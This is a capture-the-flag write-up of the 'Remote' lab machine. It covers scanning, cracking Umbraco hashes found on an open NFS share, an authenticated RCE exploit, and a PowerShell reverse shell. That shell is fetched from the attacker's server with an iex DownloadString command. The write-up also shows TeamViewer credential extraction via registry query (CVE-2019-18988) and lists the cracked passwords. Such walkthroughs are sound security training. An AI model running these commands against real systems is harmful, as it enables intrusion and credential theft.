Remote is an easy difficulty Windows machine that features an Umbraco CMS installation. Credentials are found in a world-readable NFS share. Using these, an authenticated Umbraco CMS exploit is leveraged to gain a foothold. A vulnerable TeamViewer version is identified, from which we can gain a password. This password has been reused with the local administrator account. Using psexec with these credentials returns a SYSTEM shell.


First I check for available open ports.

nmap -p- --min-rate=10000

nmap -sC -sV -p21,22,80,135,139,445,5985,39517 -oA ./nmap/remote

|21| ftp Microsoft ftpd
|80| http Microsoft HTTPAPI httpd 2.0
|111| rpcbind
|139| netbios-ssn Microsoft Windows netbios-ssn
|445| microsoft-ds
|2049| nlockmgr
|5985| Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

First I checked the FTP server. It allowed for anonymous login but it was empty.

Next, I check out the website. On the /people there are some names we can take notes of.

I ran dirsearch in the background and found some interesting directories.

dirsearch -u -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 20 -f -e php,txt,html,aspx

We can find a login page at /umbraco which is a CME.

We can find a NFS share.

Let’s mount the share.

mkdir target-NFS
sudo mount -t nfs ./target-NFS -o nolock
cd target-NFS


After looking for a bit I found Umbraco.sdf and we can password hashes for users inside it

I used crackstation

Creds → [email protected] : baconandcheese

I can now log into the website admin panel.

After looking for a bit I found this authenticated RCE exploit from ExploitDB. I downloaded the Python file and checked out the payload.
It takes the user and password for authentication, takes the type of shell and uses arguments to execute.

We have RCE on the server now.

python3 -u "[email protected]" -p "baconandcheese" -i "" -c powershell.exe -a "whoami"

Next, I used Nishang Invoke-PowerShellTcp.ps1 to get a shell.

At the bottom of the PowerShell script, I added my reverse shell IP and port.

Invoke-PowerShellTcp -Reverse -IPAddress -Port 4444

Then hosted the payload using the python3 server.

python3 -m http.server

After that I used RCE payload to download my PowerShell script and get a shell

python3 -u "[email protected]" -p "baconandcheese" -i "" -c powershell.exe -a "iex(New-Object Net.WebClient).DownloadString('')"

Privilege Escalation

In tasklist We can see TeamViewer_Service.exe

After looking for a bit I found this CVE-2019-18988 where Teamviwer leaking creds.

We can leak the creds using this

reg query HKLM\SOFTWARE\WOW6432Node\TeamViewer\Version7

Next, I used this decryptor to decrypt the password.

Creds → administrator : !R3m0te!

Now we can use WINRM to log in and get the flag.